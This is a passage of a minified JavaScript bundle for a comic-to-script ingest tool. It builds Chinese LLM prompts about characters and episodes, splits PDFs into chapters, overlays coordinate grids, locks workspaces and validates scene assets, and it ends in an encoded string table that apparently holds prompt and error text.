r=[i.apparent_gender,i.apparent_age].filter(Boolean).join("\uFF0C");r&&n.push(`- \u5E74\u9F84\u6027\u522B: ${r}`),i.face_shape&&n.push(`- \u8138\u578B\u4E0B\u988C: ${i.face_shape}`),i.brows_eyes&&n.push(`- \u7709\u773C: ${i.brows_eyes}`),i.nose&&n.push(`- \u9F3B\u90E8: ${i.nose}`),i.mouth&&n.push(`- \u5507\u5F62\u5634\u89D2: ${i.mouth}`),i.skin_features&&n.push(`- \u80A4\u8272\u9762\u90E8: ${i.skin_features}`),i.hair&&n.push(`- \u53D1\u578B: ${i.hair}`),i.build&&n.push(`- \u4F53\u6001: ${i.build}`),i.persistent_marks.length&&n.push(`- \u56FA\u5B9A\u6807\u8BB0: ${i.persistent_marks.join("\uFF1B")}`),i.voice&&n.push(`- \u58F0\u7EBF: ${i.voice}`)}if(e.aliases.length&&n.push(`- \u66FE\u7528\u79F0\u547C: ${e.aliases.join("\u3001")}`),e.states.length){n.push("- \u5DF2\u767B\u8BB0\u9636\u6BB5\uFF08\u540D\u79F0\u9010\u5B57\u7528\u4E8E\u5F15\u7528\uFF0C\u63CF\u8FF0\u6309\u9002\u7528\u9636\u6BB5\u6838\u5BF9\uFF09\uFF1A");for(let r of e.states)n.push(` - ${r.name}\uFF1A${r.description||"\u63CF\u8FF0\u5F85\u8865"}`)}return n.push(`- \u51FA\u73B0: ep ${e.firstEpisode}\u2013${e.lastEpisode}`),e.status==="provisional"&&n.push(`- \u8EAB\u4EFD\u672A\u786E\u8BA4\uFF1A\u672C\u96C6\u82E5\u51FA\u73B0\u4E66\u9762\u59D3\u540D\u6216\u53F0\u8BCD\u672C\u540D\uFF0C\u7528 canonicalize \u4ECE\u300C${e.name}\u300D\u5347\u7EA7\u89C4\u8303\u540D`),n}function bh(e,t){let n=Ba(e.appearance||e.role||"",t?30:60),o=e.states.map(i=>i.description?`${i.name}\uFF08${Ba(i.description,t?20:60)}\uFF09`:i.name).join(" / ");return`- ${e.name} \xB7${e.importance}${n?`\uFF1A${n}`:""}${o?`\uFF1B\u72B6\u6001\uFF1A${o}`:""}`}function vh(e,t,n){let o=[];o.push(`# \u5148\u524D\u767B\u8BB0\uFF08\u89E3\u6790\u7B2C ${e.lastEpisode+1} \u96C6\u65F6\u6838\u5BF9\u672C\u8868\uFF09`,""),o.push("\u4F9D\u636E\u6765\u6E90\u4FDD\u6301\u4EBA\u7269\u8EAB\u4EFD\u8FDE\u7EED\u3002\u4EBA\u7269 role \u91CD\u5199\u4E3A\u5DF2\u786E\u8BA4\u7684\u8EAB\u4EFD\u79F0\u8C13\u4E0E\u5173\u7CFB\uFF1B\u5176\u4E2D\u6DF7\u5165\u7684\u5916\u8C8C\u6309\u9002\u7528\u9636\u6BB5\u5F52\u5165 state\u3002\u5168\u90E8\u5916\u8C8C\u4E0E\u58F0\u7EBF\u7531\u5404 state \u72EC\u7ACB\u627F\u8F7D\uFF0C\u65E2\u6709\u753B\u50CF\u4E0E\u8BC6\u522B\u951A\u70B9\u4F5C\u4E3A\u5F85\u6838\u89C2\u5BDF\uFF0C\u4F9D\u636E\u5404\u9636\u6BB5\u8BC1\u636E\u8865\u5168\u76F8\u5E94 state\uFF0C\u5E76\u4EE5\u5168\u7A7A identity_revision \u6E05\u7A7A\u753B\u50CF\u4E0E\u951A\u70B9\u3002","");let i=e.registry.filter(a=>a.kind==="actor"),r=e.registry.filter(a=>a.kind==="location"),s=e.registry.filter(a=>a.kind==="prop");if(i.length){o.push("## \u4EBA\u7269","");for(let a of i)o.push(...tA(a,n),"")}if(r.length||s.length){o.push("## \u573A\u666F / \u9053\u5177","");for(let a of r)o.push(bh(a,n));for(let a of s)o.push(bh(a,n));o.push("")}let c=e.digests.filter(a=>a.episode>e.lastEpisode-t);if(c.length){o.push("## \u5267\u60C5\u8FDB\u5C55","");for(let a of[...c].sort((d,p)=>d.episode-p.episode))o.push(a.outcome==="skipped"?`\u7B2C${a.episode}\u96C6\u5DF2\u4EBA\u5DE5\u8DF3\u8FC7\uFF0C\u5267\u60C5\u672A\u77E5\u3002`:`\u7B2C${a.episode}\u96C6\uFF1A${n?Ba(a.synopsis,40):a.synopsis}`);o.push("")}if(e.openThreads.length){o.push("## \u672A\u95ED\u5408\u7EBF\u7D22\uFF08\u82E5\u672C\u96C6\u4EA4\u4EE3\u4E86\uFF0C\u7528 open_threads.closed \u5F15\u7528\u5176 [id] \u5173\u95ED\uFF09","");for(let a of e.openThreads)o.push(`- [${a.id}] ${a.text}`);o.push("")}return o.join(`
268
- `)}function Ja(e){for(let t=WI;t>=1;t--){let n=vh(e,t,!1);if(n.length<=XI)return n}return vh(e,1,!0)}function Jo(e){let t=new Map;for(let n of e)for(let o of[n.identitySeed,...n.aliases])xe(o)!==xe(n.name)&&t.set(o,n.name);return t}function nA(e){let t=e.identityProfile,n=[];if(t){let o=[t.apparent_gender,t.apparent_age].filter(Boolean).join("\uFF0C");o&&n.push(`\u5916\u89C2\u5E74\u9F84\u4E0E\u6027\u522B\uFF1A${o}`),t.face_shape&&n.push(`\u8138\u578B\u4E0B\u988C\uFF1A${t.face_shape}`),t.brows_eyes&&n.push(`\u7709\u773C\uFF1A${t.brows_eyes}`),t.nose&&n.push(`\u9F3B\u90E8\uFF1A${t.nose}`),t.mouth&&n.push(`\u5507\u5F62\u53E3\u5468\uFF1A${t.mouth}`),t.skin_features&&n.push(`\u80A4\u8272\u9762\u90E8\uFF1A${t.skin_features}`),t.hair&&n.push(`\u5934\u53D1\uFF1A${t.hair}`),t.build&&n.push(`\u9AA8\u67B6\u4F53\u578B\uFF1A${t.build}`),t.persistent_marks.length&&n.push(`\u56FA\u5B9A\u6807\u8BB0\uFF1A${t.persistent_marks.join("\u3001")}`),t.voice&&n.push(`\u58F0\u7EBF\uFF1A${t.voice}`)}return e.recognitionAnchors.length&&n.push(`\u8BC6\u522B\u951A\u70B9\uFF1A${e.recognitionAnchors.join("\uFF1B")}`),e.role&&n.push(`\u89D2\u8272\u8BED\u5883\uFF1A${e.role}`),n.map(o=>o.replace(/[。;]+$/,"")).join("\uFF1B")}function Rh(e,t){let n=new Map,o=new Map,i=(s,c)=>{let a=xe(s),d=c.trim();!d||xe(d)===a||(o.has(a)||o.set(a,new Set),o.get(a).add(d))};for(let s of t){n.set(xe(s.name),s.importance);for(let c of s.aliases)n.set(xe(c),s.importance);n.set(xe(s.identitySeed),s.importance);for(let c of new Set([s.identitySeed,...s.aliases]))i(s.name,c)}let r=(s,c)=>{for(let a of s??[]){let d=String(a[c]??""),p=[d,...a.aliases??[]],l;for(let y of p)if(l=t.find(m=>xe(m.name)===xe(y)||xe(m.identitySeed)===xe(y)||m.aliases.some(g=>xe(g)===xe(y))),l)break;a.importance=l?.importance??n.get(xe(d))??"featured";let f=o.get(xe(d));if(f?.size&&(a.aliases=[...new Set([...a.aliases??[],...f])]),!l)continue;let u=l.kind==="actor"?nA(l):[l.appearance,l.role].map(y=>(y?.trim()??"").replace(/[。;]+$/,"")).filter(Boolean).join("\uFF1B");u&&(a.description=`${u}\u3002`);for(let y of a.states??[]){let m=l.states.find(g=>Mn(g.name)===Mn(y.state_name));m?.description?y.description=m.description:y.state_name==="default"&&l.kind!=="actor"&&l.appearance&&(y.description=l.appearance)}}};return r(e.actors,"actor_name"),r(e.locations,"location_name"),r(e.props,"prop_name"),e}function Mh(e,t,n){let o=Jo(t.registry),i=d=>o.get(d)??d,r=d=>{let p=d.indexOf(":"),l=d.slice(0,p);return p>0&&(l==="system"||l==="broadcast"||l==="offscreen"||l==="group")?{kind:l,label:d.slice(p+1)}:dt(d)?{kind:"group",label:d}:{name:i(d)}},s=0,c={title:n,episodes:e.map(d=>({identity_key:`comic:${d.document_id}`,episode_id:`ep_${String(d.episode).padStart(3,"0")}`,title:d.title,scenes:d.output.scenes.map((p,l)=>{let f=`comic:${d.document_id}:scene:${l+1}`,u=p.characters.flatMap(m=>m.states.length?m.states.map(g=>({name:i(m.name),state:g})):[{name:i(m.name)}]),y=p.actions.map((m,g)=>{let w={kind:"comic",document_id:d.document_id,pages:m.pages,regions:m.regions},h={identity_key:`${f}:action:${g+1}`,type:m.type,content:m.content,extend:{scriptctl:{source:w}}};if((m.type==="dialogue"||m.type==="inner_thought")&&(h.speaker=r(m.speaker),m.parenthetical&&(h.parenthetical=m.parenthetical),"name"in h.speaker)){let _=h.speaker.name;u.some(x=>x.name===_)||u.push({name:_})}return h});return{identity_key:f,scene_id:`scn_${String(++s).padStart(3,"0")}`,environment:{...p.space?{space:p.space}:{},...p.time?{time:To(p.time)}:{}},location:p.location?{name:i(p.location)}:null,actors:u,props:[...new Set(p.props.map(i))].map(m=>({name:m})),actions:y}})}))},a=new Set(t.registry.map(d=>`${d.kind}:${d.name}`));for(let d of c.episodes)for(let p of d.scenes){let f=[...p.actors.map(u=>`actor:${u.name}`),...p.props.map(u=>`prop:${u.name}`),...p.location?[`location:${p.location.name}`]:[]].filter(u=>!a.has(u));if(f.length)throw new S(`Comic scene references assets absent from the registry: ${f.join(", ")}`,{exitCode:b,errorCode:"INGEST_VALIDATION_FAILED",hint:"The episode must register every referenced character, location and key prop.",data:{actual:f}})}return c}var ur=e=>e.normalize("NFC").replace(/\s+/g," ").trim().toLowerCase();function oA(e,t,n){let o=Jo(t),i=l=>o.get(l)??l,r=new Map;for(let l of t){let f=i(l.name),y=t.find(g=>g.kind===l.kind&&ur(g.name)===ur(f))??l,m=`${l.kind}:${ur(f)}`;r.has(m)||r.set(m,`${n}:${y.kind}:${y.firstEpisode}:${ur(y.identitySeed)}`)}let s={},c={},a={},d={},p={actor:s,location:c,prop:a};for(let l of e){let f=l.names[0]??l.provisional_id,u=r.get(`${l.kind}:${ur(f)}`)??`${n}:${l.kind}:source:${ur(f)}`;p[l.kind][l.provisional_id]=u,d[l.provisional_id]=Object.fromEntries(l.states.map(y=>[y.id,`${u}:state:${Mn(y.name)}`]))}return{actor:s,location:c,prop:a,state:d}}function Ka(e,t,n,o){let{script:i,assets:r,identityKeys:s}=Ma(e);Rh(i,t.registry);let c=Ca(i),{script:a,idMap:d}=Ua(c),p=wt(a);if(!p.ok)return{initial:i,final:a,idMap:d,validation:p,identityMap:o,scriptV4:null};let l=cr(Tt(c),o,{...oA(r,t.registry,n),...s}),f=l.script,u=Pe(f);return{initial:i,final:f,scriptV4:f,idMap:d,identityMap:l.identityMap,validation:{...u,warnings:[...u.warnings,...ar(f)]}}}import*as Lh from"node:fs";import*as ro from"node:path";import{createHash as iA}from"node:crypto";import{PDFDocument as rA}from"pdf-lib";import*as ja from"node:path";function za(e){let t=ja.basename(e,ja.extname(e)),n=t.match(/第\s*0*(\d+)\s*[集话回]/u)??t.match(/(?:^|[._\-\s])(?:ep(?:isode)?|e)\s*[._\-\s]*0*(\d+)(?=$|[._\-\s])/iu);if(n)return Number(n[1]);let o=t.match(/\d+/);return o?Number(o[0]):null}function sA(e){let t=e.kind==="comic-file"?[e.path]:e.files,n=t.map(i=>({path:i,sourceNumber:za(i)})),o=n.flatMap(i=>i.sourceNumber===null?[]:[i.sourceNumber]);if(o.length>0&&o.length!==t.length||new Set(o).size!==o.length)throw new S("Comic chapter ordering is ambiguous.",{exitCode:b,errorCode:"INGEST_COMIC_DISCOVERY",hint:"Give every PDF a unique chapter number, or use unnumbered filenames that sort in reading order.",data:{actual:t.map(i=>ro.basename(i))}});return n.sort((i,r)=>i.sourceNumber!==null&&r.sourceNumber!==null?i.sourceNumber-r.sourceNumber:ro.basename(i.path).localeCompare(ro.basename(r.path),"zh-Hans",{numeric:!0}))}async function Nh(e){let t=[];for(let[n,o]of sA(e).entries()){let i=Lh.readFileSync(o.path),s=(await rA.load(i,{updateMetadata:!1})).getPageCount();if(!s)throw new S("PDF is outside the document provider limits.",{exitCode:b,errorCode:"INGEST_COMIC_SIZE",hint:"Provide a PDF containing at least one readable page.",data:{actual:[`${o.path}: ${s} pages, ${i.length} bytes`]}});t.push({episode:n+1,document_id:`chapter-${String(n+1).padStart(3,"0")}`,source_number:o.sourceNumber,title:ro.basename(o.path,ro.extname(o.path)),path:ro.resolve(o.path),sha256:iA("sha256").update(i).digest("hex"),page_count:s,size_bytes:i.length})}return t}function Uh(e,t){let n=e.find((o,i)=>{let r=t[i];return!r||o.sha256!==r.sha256||o.source_number!==r.source_number||o.title!==r.title});if(n)throw new S("The comic source prefix changed.",{exitCode:b,errorCode:"INGEST_SOURCE_MISMATCH",hint:"Restore the original chapters or use a fresh workspace. Only tail chapters may be appended.",data:{actual:[n.title]}})}import{PDFDocument as aA,StandardFonts as cA,rgb as dA,pushGraphicsState as pA,popGraphicsState as lA,concatTransformationMatrix as Ha}from"pdf-lib";async function Ph(e){let t=await aA.load(e),n=await t.embedFont(cA.Helvetica),o=dA(0,.45,.85);for(let i of t.getPages()){let r=i.getCropBox(),s=(i.getRotation().angle%360+360)%360,c=s===90||s===270,a=c?r.height:r.width,d=c?r.width:r.height;switch(i.pushOperators(pA()),s){case 90:i.pushOperators(Ha(0,1,-1,0,r.x+r.width,r.y));break;case 180:i.pushOperators(Ha(-1,0,0,-1,r.x+r.width,r.y+r.height));break;case 270:i.pushOperators(Ha(0,-1,1,0,r.x,r.y+r.height));break;default:i.pushOperators(Ha(1,0,0,1,r.x,r.y))}let p=a/70;for(let l=0;l<=1e3;l+=50){let f=d*(1-l/1e3);i.drawLine({start:{x:0,y:f},end:{x:a,y:f},thickness:.5,color:o,opacity:.3});let u=`y=${l}`,y=Math.max(1,Math.min(d-p,f+1));for(let m of[1,a-n.widthOfTextAtSize(u,p)-1])i.drawText(u,{x:m,y,size:p,font:n,color:o})}for(let l=100;l<1e3;l+=100){let f=a*l/1e3;i.drawLine({start:{x:f,y:0},end:{x:f,y:d},thickness:.5,color:o,opacity:.3});for(let u=0;u<1e3;u+=250)i.drawText(`x=${l}`,{x:f+1,y:d*(1-u/1e3)-p,size:p,font:n,color:o})}i.pushOperators(lA())}return t.save()}import*as Ch from"node:fs";import*as Th from"node:path";import uA from"proper-lockfile";async function Ko(e,t){let n=Th.resolve(e);Ch.mkdirSync(n,{recursive:!0});let o=null;try{o=await uA.lock(n,{realpath:!1,stale:12e4,update:1e4,retries:0})}catch(i){throw new S("The ingest workspace is busy.",{exitCode:X,errorCode:"INGEST_WORKSPACE_BUSY",hint:"Wait for the other ingest or skip command to finish, then retry.",data:{actual:[n,i instanceof Error?i.message:String(i)]}})}try{return await t()}finally{await o()}}import*as so from"node:fs";import*as hl from"node:path";import{PDFDocument as gl}from"pdf-lib";import{z as fr}from"zod";var Vh=fr.object({starts:fr.array(fr.object({page:fr.number().int().min(1),title:fr.string().min(1)}))}),fA="\u9605\u8BFB\u6F2B\u753B PDF \u5E76\u8BC6\u522B\u5B9E\u9645\u8BDD/\u7AE0\u8282\u8FB9\u754C\u3002\u53EA\u8F93\u51FA\u672C\u6BB5\u5185\u786E\u5B9E\u5F00\u59CB\u7684\u65B0\u8BDD\u7684\u8D77\u59CB\u7269\u7406\u9875\u7801\u548C\u539F\u7A3F\u6807\u9898\u3002\u4F9D\u636E\u8BDD\u53F7\u3001\u7AE0\u8282\u6249\u9875\u3001\u6807\u9898\u53CA\u53D9\u4E8B\u8FDE\u7EED\u6027\u7EFC\u5408\u5224\u65AD\uFF1B\u573A\u666F\u5207\u6362\u3001\u56DE\u5FC6\u3001\u6362\u9875\u548C\u5E7F\u544A\u4E0D\u662F\u65B0\u8BDD\u3002\u8F93\u5165\u53EF\u80FD\u4ECE\u4E00\u8BDD\u4E2D\u95F4\u5F00\u59CB\uFF0C\u5EF6\u7EED\u524D\u6BB5\u7684\u5185\u5BB9\u4E0D\u7B97\u65B0\u8BDD\u3002\u7B2C\u4E00\u6BB5\u4ECE\u539F\u6587\u6863\u7B2C\u4E00\u9875\u5F00\u59CB\u65F6\uFF0C\u4E3A\u7B2C\u4E00\u8BDD\u5EFA\u7ACB\u8D77\u70B9\uFF0C\u5C01\u9762\u548C\u76EE\u5F55\u968F\u9996\u8BDD\u4FDD\u7559\u3002\u591A\u8BDD\u5408\u96C6\u9010\u9879\u5217\u51FA\u5404\u8BDD\uFF1B\u5355\u8BDD\u6587\u4EF6\u53EA\u6709\u4E00\u4E2A\u8D77\u70B9\u3002page \u4F7F\u7528\u672C\u6B21\u8F93\u5165 PDF \u4ECE 1 \u5F00\u59CB\u7684\u7269\u7406\u9875\u7801\u3002\u6807\u9898\u4FDD\u7559\u539F\u8BDD\u53F7\u548C\u53EF\u8BFB\u8BDD\u540D\uFF1B\u65E0\u6CD5\u786E\u8BA4\u8BDD\u53F7\u65F6\u4F7F\u7528\u7B80\u77ED\u5185\u5BB9\u6807\u9898\u3002";async function $h(e,t,n,o){let i=[];for(let r of e){let s=`sources/${r.sha256}.chapters.json`,c,a=await gl.load(so.readFileSync(r.path));if(t.has(s))c=t.readJson(s);else{c=[];for(let d=0;d<r.page_count;){let p=Math.min(40,r.page_count-d),l;for(;;){let y=await gl.create();for(let m of await y.copyPages(a,Array.from({length:p},(g,w)=>d+w)))y.addPage(m);if(l=await y.save(),l.length<=4e7||p===1)break;p=Math.ceil(p/2)}let f=t.path(`sources/${r.sha256}.scan.pdf`);so.mkdirSync(hl.dirname(f),{recursive:!0}),wi(f,Buffer.from(l)),process.stderr.write(`\u8BC6\u522B\u6F2B\u753B\u7AE0\u8282 \xB7 ${r.title} \xB7 \u539F\u7A3F ${d+1}\u2013${d+p} / ${r.page_count} \u9875
269
- `);let u=await n.prepare(f,o);try{let y=await n.generate({media:u,system:fA,user:`\u539F\u6587\u4EF6\uFF1A${r.title}\uFF0C\u5171 ${r.page_count} \u9875\u3002\u672C\u6BB5\u4E3A\u539F\u7A3F\u7B2C ${d+1}\u2013${d+p} \u9875\u3002\u5DF2\u8BC6\u522B\u8D77\u70B9\uFF1A${JSON.stringify(c)}\u3002`,responseJsonSchema:fr.toJSONSchema(Vh,{target:"openapi-3.0"}),signal:o}),m=Vh.parse(JSON.parse(y.text));c.push(...m.starts.filter(g=>g.page<=p).map(g=>({...g,page:d+g.page})))}finally{await n.release(u,o)}d+=p}c=[...new Map(c.sort((d,p)=>d.page-p.page).map(d=>[d.page,d])).values()],c.length?c[0].page=1:c.push({page:1,title:r.title}),t.writeJson(s,c)}for(let[d,p]of c.entries()){let l=(c[d+1]?.page??r.page_count+1)-1,f=i.length+1,u=c.length===1?r.path:t.path(`sources/${r.sha256}.${p.page}-${l}.pdf`);if(!so.existsSync(u)){let y=await gl.create();for(let m of await y.copyPages(a,Array.from({length:l-p.page+1},(g,w)=>p.page-1+w)))y.addPage(m);so.mkdirSync(hl.dirname(u),{recursive:!0}),wi(u,Buffer.from(await y.save()))}i.push({...r,episode:f,document_id:`chapter-${String(f).padStart(3,"0")}`,title:c.length===1?r.title:p.title,path:u,page_count:l-p.page+1,size_bytes:so.statSync(u).size,original_path:r.path,original_page_count:r.page_count,start_page:p.page,end_page:l})}}return i}import{z as Dh}from"zod";var Qa=fn,mA=Qa(7);function wl(e,t){let n=Qa,o=ya[n(1)](JSON[n(12)](e)),i=a=>{let d=n;throw new S(d(14)+a[d(21)]("; "),{exitCode:b,errorCode:d(44),hint:d(23),data:{actual:a}})};if(!o[n(17)])return i(o[n(37)][n(18)][n(15)](0,8)[n(38)](a=>a[n(10)][n(21)](".")+": "+a[n(9)]));let r=o[n(41)],s=new Set;for(let a of r[n(43)])for(let d of a[n(20)]){if(d[n(28)][n(42)]((l,f)=>l>t||f>0&&l<=d[n(28)][f-1]))return i([n(24)+d[n(28)][n(21)](", ")+n(25)+t+n(34)]);let p=Xr(d[n(28)],d[n(29)]);if(p[n(30)])return i(p);for(let l of d[n(28)])s[n(40)](l)}for(let a of r[n(6)]){if(a[n(36)]>t||s[n(13)](a[n(36)]))return i([n(27)+a[n(36)]]);s[n(40)](a[n(36)])}let c=Array[n(33)]({length:t},(a,d)=>d+1)[n(19)](a=>!s[n(13)](a));return c[n(30)]?i([n(31)+c[n(21)](", ")]):r}async function Gh(e,t,n,o,i,r,s){let c=Qa,a=await e[c(2)]({media:t,system:mA,user:c(3)+n+c(22)+o+c(0)+i,responseJsonSchema:Dh[c(5)](Gm,{target:c(35)}),signal:s});return r(a[c(26)]),wl(a[c(26)],o)}function yl(){let e=["ioMHTE+8JoIVT+wUJoAvToMyHEIVU+w5TUAmIEMHUUw6J+MaKoAGVoI9RowgMEwfQoMdQowjP+AdHEoaGGOk","C2fMzvbHCNnL","z2vUzxjHDgu","5B2t5yMn6k+D77YA","5Qc55O2U5y6F5RYR55s75zkm5BEY6l2S5B2v5Q2J5PAh5Pw055cg5A6m5Pw06lwe5lQN55M76k6W44cc6l+u5zUEihjLz2LZDhj5x2rLBhrHiowVUEIXOE+8Jos/NEEvMEATO+EHRUEzU+IUSo+8JoIHPEM9KoATO+AwH+wUNUMzHEw8LEEuQoEAHos6UUEjQEoaGEwCSoEcUEwsJowfS+MuRUMbK+wfT++8JoINHoImG+wqJEs4JUw8LEEuQoMaKowTL+s4GoIhTooaGUs+NEAnRUwoN+EOV+ApJ+I/SowpR+INGEwKLUINGU+8M+wqJos4GoI6Q+s7VEEuQowiQ+wqJEwsJcbJyw5VBMLJywXPEMuG5B2s5BM244cc5l+D55wz5BEY6l2S5B2v5Q2J5PAh55Qe5ywO6yoO5yAf5A6544cc","Dg9ku09ou2nOzw1H","AwDUB3jLzf9WywDLCW","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